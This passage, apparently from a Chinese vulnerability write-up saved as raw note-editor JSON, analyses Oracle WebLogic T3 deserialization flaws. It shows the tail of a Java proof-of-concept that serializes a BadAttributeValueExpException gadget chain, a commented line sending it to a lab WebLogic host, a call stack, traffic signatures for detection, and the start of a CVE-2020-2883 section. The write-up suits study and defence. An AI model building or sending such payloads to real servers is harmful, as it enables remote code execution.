}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kfFN-1675756280188&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I317-1675756280187&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G662-1675756280190&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CSBU-1675756280189&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream fout = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;psqZ-1675756280192&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vjC0-1675756280191&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fout);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k2Rh-1675756280194&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Mm9J-1675756280193&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.writeObject(badAttributeValueExpException);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;IRFv-1675756280196&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1OiG-1675756280195&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PVCO-1675756280198&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hGAa-1675756280197&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UjMF-1675756280200&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mqCV-1675756280199&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6Hzy-1675756280202&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zF4h-1675756280201&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QQEn-1675756280204&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q4O7-1675756280203&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        byte[] payload = Serializables.serialize(badAttributeValueExpException);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GWAo-1675756280206&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;k9i5-1675756280205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        // 通过封装的T3协议发送payload&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wNmw-1675756280208&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pe9s-1675756280207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        T3ProtocolOperation.send(\&#34;192.168.153.136\&#34;, \&#34;7001\&#34;, payload);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qW1Q-1675756280210&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tgjg-1675756280209&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t8zQ-1675756280212&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bkqq-1675756280211&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        Serializables.deserialize(payload);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Dp9y-1675756280214&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pB9d-1675756280213&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EABZ-1675756280216&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;66rF-1675756280215&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pos8-1675757412337&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5562/WEBRESOURCE98b784908ca4e40cf5591951a1fea5b9&#34;,&#34;width&#34;:1898,&#34;height&#34;:218},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5562/WEBRESOURCE98b784908ca4e40cf5591951a1fea5b9&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1898,&#34;height&#34;:218},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sPSR-1675757741454&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yBHN-1675757741455&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;调用栈如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CjkB-1675757736762&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;31z8-1675757736704&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r2Mo-1675757736703&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;extract:116, ReflectionExtractor (com.tangosol.util.extractor)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lcEK-1675757736706&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MurF-1675757736705&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;extract:105, ChainedExtractor (com.tangosol.util.extractor)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;exJD-1675757736708&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MGfe-1675757736707&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;toString:599, LimitFilter (com.tangosol.util.filter)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TWUb-1675757736710&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;53Ks-1675757736709&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:86, BadAttributeValueExpException (javax.management)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pw8D-1675757736712&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6zCQ-1675757736711&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lsUE-1675757736714&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7U51-1675757736713&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:62, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6jYY-1675757736716&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vcA0-1675757736715&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N8Aa-1675757736718&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yJxd-1675757736717&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:498, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GX1o-1675757736720&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zc6x-1675757736719&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invokeReadObject:1058, ObjectStreamClass (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nm47-1675757736722&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tGVa-1675757736721&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readSerialData:2122, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FiOd-1675757736724&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;28jW-1675757736723&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:2013, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;udFt-1675757736726&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hBXk-1675757736725&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1535, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TtpS-1675757736728&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3OIt-1675757736727&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:422, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;14Wc-1675757736730&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E52Q-1675757736729&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:73, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TcAp-1675757736732&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p47c-1675757736731&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:45, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;evNF-1675757736734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;D2eS-1675757736733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l1H8-1675757736736&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ucQF-1675757736735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:219, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HvEI-1675757736738&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HVeg-1675757736737&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VASg-1675757736740&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QQzK-1675757736739&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AV3k-1675757736742&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;x4Fy-1675757736741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eDeI-1675757736744&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9tr5-1675757736743&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:993, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ySPD-1675757736746&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;eVcD-1675757736745&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:929, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jris-1675757736748&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xypF-1675757736747&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;process:599, NIOSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iveq-1675757736750&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MaY7-1675757736749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:563, NIOSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JrNJ-1675757736752&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8nI2-1675757736751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:30, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rsrp-1675757736754&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gTAW-1675757736753&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:43, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MqnQ-1675757736756&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kkpt-1675757736755&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:147, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QCBk-1675757736758&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Mm76-1675757736757&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:119, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7MPp-1675757736760&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QAvI-1675757736759&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;sql&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kKME-1675754954631&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T5FO-1675754954630&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前面的T3调用过程没有太大变化，主要还是通过上文提到的BadAttributeValueExpException.toString触发LimitFilter.toString进而触发ReflectionExtractor.extract方法&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mwW0-1675757977489&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5568/WEBRESOURCEa8802193b9f3a7b7d5ce91150173ec84&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5568/WEBRESOURCEa8802193b9f3a7b7d5ce91150173ec84&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mjiB-1675758202653&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5577/WEBRESOURCE1e2019127503276564b69439cd652657&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5577/WEBRESOURCE1e2019127503276564b69439cd652657&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c53N-1675758215521&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5579/WEBRESOURCEda996c3448b9fc7a2e38cf8d4ad0c62a&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5579/WEBRESOURCEda996c3448b9fc7a2e38cf8d4ad0c62a&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pzIx-1675760331529&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2Sod-1675760331530&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;流量特征上看也是正常的T3序列化数据，主要特征为&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;BadAttributeValueExpException&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#7f0000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(251, 237, 237)&#34;}]},{&#34;text&#34;:&#34;和&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;ReflectionExtractor&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#7f0000&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(251, 237, 237)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dTlO-1675760298474&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5584/WEBRESOURCE2458993c13a3918059700c61514b48e1&#34;,&#34;width&#34;:660,&#34;height&#34;:532},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5584/WEBRESOURCE2458993c13a3918059700c61514b48e1&#34;,&#34;initialSize&#34;:{&#34;width&#34;:660,&#34;height&#34;:1374},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O76d-1675760315477&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5586/WEBRESOURCEe04060741e112902e3897d6c88b10611&#34;,&#34;width&#34;:658,&#34;height&#34;:531},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5586/WEBRESOURCEe04060741e112902e3897d6c88b10611&#34;,&#34;initialSize&#34;:{&#34;width&#34;:658,&#34;height&#34;:1374},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JU2d-1675760278959&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;aEfe-1675760278958&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sP6h-1675761173298&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3s6N-1675761173297&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2020-2883&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nZcu-1675761173825&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JPye-1675761173826&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Lmyy-1675761173828&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;Kh0f-1675761173803&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jm8B-1675761173829&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 10.3.6.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kQwO-1675761173830&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;EPhz-1675761173804&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hsd4-1675761173831&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.1.3.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XdId-1675761173832&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;EPhz-1675761173804&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kstM-1675761173833&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.2.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;drPq-1675761173834&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;EPhz-1675761173804&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3acT-1675761173835&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle 